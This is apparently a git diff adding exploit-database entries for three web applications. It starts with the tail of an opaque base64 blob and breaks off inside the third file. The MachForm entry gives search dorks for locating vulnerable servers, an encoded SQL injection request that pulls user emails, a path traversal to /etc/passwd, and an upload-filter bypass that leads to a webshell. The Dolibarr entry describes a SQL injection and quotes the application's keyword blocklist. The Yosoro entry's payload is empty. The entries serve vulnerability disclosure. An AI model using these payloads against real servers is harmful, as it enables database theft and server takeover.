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
\ No newline at end of file
diff --git a/exploits/macos/webapps/44803.txt b/exploits/macos/webapps/44803.txt
new file mode 100644
index 000000000..e7d8c4d30
--- /dev/null
+++ b/exploits/macos/webapps/44803.txt
@@ -0,0 +1,17 @@
+# Exploit title: Yosoro 1.0.4 - Remote Code Execution
+# Date: 2018-05-29
+# Exploit Author: Carlo Pelliccioni
+# Vendor homepage: https://yosoro.coolecho.net/
+# Software link: https://github.com/IceEnd/Yosoro/releases/download/v1.0.4/Yosoro-darwin-x64-1.0.4.zip
+# Version: 1.0.4
+# Tested on: MacOS 10.13.4
+# CVE: CVE-2018-11522
+# _ _ _ _ _ ___ _ _
+# | || | __ _ __ | |__| |_ (_)__ __ ___ / __| ___ __ _ _ _ _ (_)| |_ _ _
+# | __ |/ _` |/ _|| / /| _|| |\ V // -_) \__ \/ -_)/ _|| || || '_|| || _|| || |
+# |_||_|\__,_|\__||_\_\ \__||_| \_/ \___| |___/\___|\__| \_,_||_| |_| \__| \_, |
+
+# Remote Code Execution (CVE-2018-11522)
+# Payload:
+
+
\ No newline at end of file
diff --git a/exploits/php/webapps/44804.txt b/exploits/php/webapps/44804.txt
new file mode 100644
index 000000000..cfec1e147
--- /dev/null
+++ b/exploits/php/webapps/44804.txt
@@ -0,0 +1,105 @@
+Vendor: Appnitro
+Product webpage: https://www.machform.com/
+Full-Disclose: https://metalamin.github.io/MachForm-not-0-day-EN/
+Fix: https://www.machform.com/blog-machform-423-security-release/
+
+Author: Amine Taouirsa
+Twitter: @metalamin
+
+Google dork examples:
+----------------------
+"machform" inurl:"view.php"
+"machform" inurl:"embed.php"
+
+Summary:
+---------
+The form creation platform MachForm from Appnitro is subject to SQL
+injections that lead to path traversal and arbitrary file upload.
+
+The application is widely deployed and with some google dorks it’s possible
+to find various webpages storing sensitive data as credit card numbers with
+corresponding security codes. Also, the arbitrary file upload can let an
+attacker get control of the server by uploading a WebShell.
+
+[1] SQL injection (CVE-2018-6410):
+-------------------------
+
+[1.1] Description:
+The software is subject to SQL injections in the ‘download.php’ file.
+
+[1.2] Parameters and statement:
+This SQLi can be found on the parameter ‘q’ which a base64 encoded value
+for the following parameters:
+
+ $form_id = $params['form_id'];
+ $id = $params['id'];
+ $field_name = $params['el'];
+ $file_hash = $params['hash'];
+
+
+So the injectable parameters are ‘el’ and ‘form_id’ obtaining error-based,
+stacked queries and time-based blind SQL injections. This is due to the
+following vulnerable statement:
+
+ $query = "select {$field_name} from `".MF_TABLE_PREFIX."form_{$form_id}`
+where id=?";
+
+
+[1.3] POC
+Proof of concept to get the first user mail:
+ http:// [URL] / [Machform_folder] /download.php?q=
+ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgy
+MDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3Vz
+ZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1Io
+UkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RF
+Ul9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE=
+
+Which is the base64 encoding for:
+ el= (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x2020,(SELECT
+MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT
+0,1),0x2020,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP
+BY x)a) ;&id=1&hash=1&form_id=1
+
+
+[2] Path traversal (CVE-2018-6409):
+-----------------------------------
+
+[2.1] Descrition
+download.php’ is used to serve stored files from the forms answers.
+Modifying the name of the file to serve on the corresponding ap_form table
+leads to a path traversal vulnerability.
+
+[2.2] POC
+First we need to change the name for the element on the form:
+update ap_form_58009 set element_4="../../../../../../.
+./../../../../../../../../../etc/passwd" where id=1;
+
+Now in order to be able to download it, we need to access:
+ http:// [URL] / [Machform_folder] /download.php?q=
+ZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0
+NTgmZm9ybV9pZD01ODAwOQo=
+
+Which is the base64 encoding for;
+ el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009
+
+Note that hash is the MD5 of the corresponding filename:
+ md5("../../../../../../../../../../../../../../../../etc/passwd") =
+402ba0230d6f44a2de590ac11107a458
+
+[3] Bypass file upload filter (CVE-2018-6411):
+----------------------------------------------
+
+When the form is set to filter a blacklist, it automatically add dangerous
+extensions to the filters.
+If the filter is set to a whitelist, the dangerous extensions can be
+bypassed.
+
+This can be done directly on the database via SQLi
+update ap_form_elements set element_file_type_list="php",
+element_file_block_or_allow="a" where form_id=58009 and element_id=4;
+
+Once uploaded the file can be found and executed in the following URL:
+http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]
+
+The filename can be found in the database
+SELECT element_4 FROM ap_form_58009 WHERE id=1;
\ No newline at end of file
diff --git a/exploits/php/webapps/44805.txt b/exploits/php/webapps/44805.txt
new file mode 100644
index 000000000..6ebe306ea
--- /dev/null
+++ b/exploits/php/webapps/44805.txt
@@ -0,0 +1,204 @@
+# [CVE-2018-10094] Dolibarr SQL Injection vulnerability
+
+
+## Description
+
+Dolibarr is an "Open Source ERP & CRM for Business" used by many
+companies worldwide.
+
+It is available through [GitHub](https://github.com/Dolibarr/dolibarr)
+or as distribution packages (e.g .deb package).
+
+**Threat**
+
+The application does not handle user input properly and allows execution
+of arbitrary SQL commands on the database.
+
+**Expectation**
+
+Prepared queries should be used in order to avoid SQL injection in user
+input.
+
+
+## Vulnerability type
+
+**CVE ID**: CVE-2018-10094
+
+**Access Vector**: remote
+
+**Security Risk**: high
+
+**Vulnerability**: CWE-89
+
+**CVSS Base Score**: 7.5
+
+**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+
+
+## Details
+
+The database connector escapes quotes with the `real_escape_string()`
+wrapper. However it is still possible to perform injection on integer
+parameters without quotes.
+
+```php
+mysqli.class.php
+
+ /**
+ * Escape a string to insert data
+ *
+ * @param string $stringtoencode String to escape
+ * @return string String escaped
+ */
+ function escape($stringtoencode)
+ {
+ return $this->db->real_escape_string($stringtoencode);
+ }
+```
+
+Additional checks are defined later, which forbit some SQL keywords (e.g
+`union`, `create`, `insert`). However, by url encoding the payload,
+these checks are bypassed.
+
+```php
+main.inc.php
+
+/**
+ * Security: SQL Injection and XSS Injection (scripts) protection
+(Filters on GET, POST, PHP_SELF).
+ *
+ * @param string $val Value
+ * @param string $type 1=GET, 0=POST, 2=PHP_SELF
+ * @return int >0 if there is an injection
+ */
+function test_sql_and_script_inject($val, $type)
+{
+ $inj = 0;
+ // For SQL Injection (only GET are used to be included into bad
+escaped SQL requests)
+ if ($type == 1)
+ {
+ $inj += preg_match('/updatexml\(/i', $val);
+ $inj += preg_match('/delete\s+from/i', $val);
+ $inj += preg_match('/create\s+table/i', $val);
+ $inj += preg_match('/insert\s+into/i', $val);
+ $inj += preg_match('/select\s+from/i', $val);
+ $inj += preg_match('/into\s+(outfile|dumpfile)/i', $val);
+ }
+ if ($type != 2) // Not common, we can check on POST
+ {
+ $inj += preg_match('/update.+set.+=/i', $val);
+ $inj += preg_match('/union.+select/i', $val);
+ $inj += preg_match('/(\.\.%2f)+/i', $val);
+ }
+ // For XSS Injection done by adding javascript with script
+ // This is all cases a browser consider text is javascript:
+ // When it found '